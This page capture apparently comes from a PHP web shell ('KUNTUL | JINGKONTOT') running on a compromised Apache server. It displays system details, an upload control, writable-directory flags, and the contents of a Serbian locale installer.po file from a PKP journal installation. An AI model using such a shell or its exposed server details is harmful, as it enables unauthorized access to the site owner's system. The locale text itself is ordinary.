KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/lib/pkp/locale/sr_RS@latin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lib/pkp/locale/sr_RS@latin/installer.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"Last-Translator: \n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"POT-Creation-Date: 2019-11-19T10:50:04+00:00\n"
"PO-Revision-Date: 2019-11-19T10:50:04+00:00\n"
"Language: \n"

msgid "installer.additionalLocales"
msgstr "Dodatne lokalizacije"

msgid "installer.administratorAccount"
msgstr "Administratorski nalog"

msgid "installer.administratorAccountInstructions"
msgstr "Ovaj korisnički nalog će postati administrator sajta i imati potpuni pristup sistemu. Dodatni korisnički nalozi mogu biti kreirani nakon instalacije."

msgid "installer.checkNo"
msgstr "<span class=\"formError\">NE</span>"

msgid "installer.checkYes"
msgstr "Da"

msgid "installer.clientCharset"
msgstr "Skup znakova klijenta"

msgid "installer.clientCharsetInstructions"
msgstr "Enkoding koji se koristi za slanje i primanje podataka iz browser-a."

msgid "installer.configFileError"
msgstr "Konfiguracioni fajl <tt>config.inc.php</tt> ne postoji ili je nečitljiv."

msgid "installer.connectionCharset"
msgstr "Skup znakova konekcije"

msgid "installer.contentsOfConfigFile"
msgstr "Sadržaj konfiguracionog fajla"

msgid "installer.createDatabase"
msgstr "Kreiraj novu bazu podataka"

msgid "installer.createDatabaseInstructions"
msgstr "Da biste koristili ovu opciju, sistem vaše baze podataka mora podržavati kreiranje udaljene baze podataka i vaš koristički nalog mora imati adekvatne dozvole za kreiranje nove baze podataka. Ukoliko instalacija nije uspela sa ovom odabranom mogućnošću, ručno kreirajte bazu podataka na vašem serveru i ponovno pokrenite instalacioni program bez ove opcije."

msgid "installer.databaseDriver"
msgstr "Drajveri baze podataka"

msgid "installer.databaseDriverInstructions"
msgstr "<strong>Drajveri baze podataka izlistani u uglastim zagradama nemaju potrebnu PHP ekstenziju i instalacija verovatno neće uspešno završiti ukoliko su odabrani.</strong><br />Bilo koji od nepodržanih, dole izlistanih drajveri baza podataka su izlistani isključivo za akademske svrhe i verovatno neće raditi."

msgid "installer.databaseHost"
msgstr "Host"

msgid "installer.databaseHostInstructions"
msgstr "Ostavite ime glavnog računara prazno da bi se spojili koristeći spojnice domena umesto preko TCP/IP-a. Ovo nije neophodno sa MySQL-om, koji će automatski koristiti spojnice ako je upisano \"localhost\", ali je obavezno sa nekim drugim serverima baza podataka kao što je PostgreSQL."

msgid "installer.databaseName"
msgstr "Ime baze podataka"

msgid "installer.databasePassword"
msgstr "Lozinka"

msgid "installer.databaseSettings"
msgstr "Podešavanje baze podataka"

msgid "installer.databaseUsername"
msgstr "Korisničko ime"

msgid "installer.filesDir"
msgstr "Folder za dodate fajlove"

msgid "installer.fileSettings"
msgstr "Podešavanje fajlova"

msgid "installer.form.clientCharsetRequired"
msgstr "Klijentski skup znakova mora biti odabran."

msgid "installer.form.databaseDriverRequired"
msgstr "Drajver baze podataka mora biti odabran."

msgid "installer.form.databaseNameRequired"
msgstr "Ime baze podataka je obavezno."

msgid "installer.form.emailRequired"
msgstr "Ispravna imejl adresa za administratorski nalog je obavezna."

msgid "installer.form.filesDirRequired"
msgstr "Folder koji će se koristiti za čuvanje poslanih fajlova je obavezan."

msgid "installer.form.localeRequired"
msgstr "Barem jedna lokalizacija mora biti odabrana."

msgid "installer.form.passwordRequired"
msgstr "Lozinka za administratorski nalog je obavezna."

msgid "installer.form.passwordsDoNotMatch"
msgstr "Administratorske lozinke se ne podudaraju."

msgid "installer.form.separateMultiple"
msgstr "Razdvojite višestruke vriednosti zarezima."

msgid "installer.form.usernameAlphaNumeric"
msgstr "Administratorsko korisničko ime može da sadrži samo slovne i brojčane znake, podvlačenja i crtice, a mora početi i završiti sa slovnim ili brojčanim znakom."

msgid "installer.form.usernameRequired"
msgstr "Korisničko ime za administratorski nalog je obavezno."

msgid "installer.installationWrongPhp"
msgstr "<br/><strong>UPOZORENjE: Vaša trenutna verzija PHP-a ne odgovara minimalnim zahtevima instalacije. Preporučujemo da instalirate noviju verziju PHP-a.</strong>"

msgid "installer.installErrorsOccurred"
msgstr "Pojavile su se greške u instalaciji"

msgid "installer.installerSQLStatements"
msgstr "SQL izjave za instalaciju"

msgid "installer.installFileError"
msgstr "Instalacioni folder <tt>dbscripts/xml/install.xml</tt> ne postoji ili je nečitljiv."

msgid "installer.installFilesDirError"
msgstr "Folder određen za poslate fajlove ne postoji ili se ne može pisati u njega."

msgid "installer.installParseDBFileError"
msgstr "Greška kod analize sintakse instalacijskog fajla baze podataka:  <tt>{$file}</tt>."

msgid "installer.installParseEmailTemplatesFileError"
msgstr "Greška prilikom analiziranja fajla šablona imejla <tt>{$file}</tt>."

msgid "installer.locale"
msgstr "Prevod"

msgid "installer.locale.maybeIncomplete"
msgstr "Označene lokalizacije su nekompletne."

msgid "installer.localeSettings"
msgstr "Podešavanje lokalizacije"

msgid "installer.oaiRepositoryIdInstructions"
msgstr "Jedinstveni identifikator koji se koristi za identifikaciju zapisa metapodataka indeksiranih na ovom sajtu koristeći <a href=\"https://www.openarchives.org/\" target=\"_blank\">Open Archives Initiative</a>, Protokol za sakupljanje metapodataka."

msgid "installer.oaiRepositoryId"
msgstr "Identifikator repozitorijuma"

msgid "installer.publicFilesDirError"
msgstr "Folder javnih fajlova ne postoji ili se ne može pisati po njemu."

msgid "installer.releaseNotes"
msgstr "Napomene o izdanju"

msgid "installer.oaiSettings"
msgstr "OAI podešavanja"

msgid "installer.preInstallationInstructionsTitle"
msgstr "Koraci pre instalacije"

msgid "installer.installParseFilterConfigFileError"
msgstr "Error parsing the filter configuration file <tt>{$file}</tt>."

msgid "installer.unsupportedUpgradeError"
msgstr "Nadogradnja nije podržana. Pogledajte dokument docs/UPGRADE-UNSUPPORTED za detalje."

msgid "installer.preInstallationInstructions"
msgstr ""
"<p>1. Sledeći fajlovi i direktorijumi (i njihov sadržaj) moraju biti dostupni za upisivanje:</p>\n"
"\t\t<ul>\n"
"\t\t\t<li><tt>config.inc.php</tt> je dostupan (opciono): {$writable_config}</li>\n"
"\t\t\t<li><tt>public/</tt> je dostupan: {$writable_public}</li>\n"
"\t\t\t<li><tt>cache/</tt> je dostupan: {$writable_cache}</li>\n"
"\t\t\t<li><tt>cache/t_cache/</tt> je dostupan: {$writable_templates_cache}</li>\n"
"\t\t\t<li><tt>cache/t_compile/</tt> je dostupan: {$writable_templates_compile}</li>\n"
"\t\t\t<li><tt>cache/_db</tt> je dostupan: {$writable_db_cache}</li>\n"
"\t\t</ul>\n"
"\n"
"\t\t<p>2. Direktorijum za dostavljene fajlove mora biti napravljen i dostupan za upisivanje (pogledajte \"Podešavanje fajlova\" niže).</p>"

msgid "installer.configureXSLMessage"
msgstr "<p>Vaša PHP instalacija nema dostupan XSL modul. Ili ga omogućite ili podesite xslt_command parametar u vašem config.inc.php fajlu.</p>"

msgid "installer.beacon"
msgstr "Beacon"

msgid "installer.beacon.enable"
msgstr "Obezbedite jedinstveni ID sajta bazni OAI URL za PKP za statistiku i sigurnosna obaveštenja."

KUNTUL | JINGKONTOT |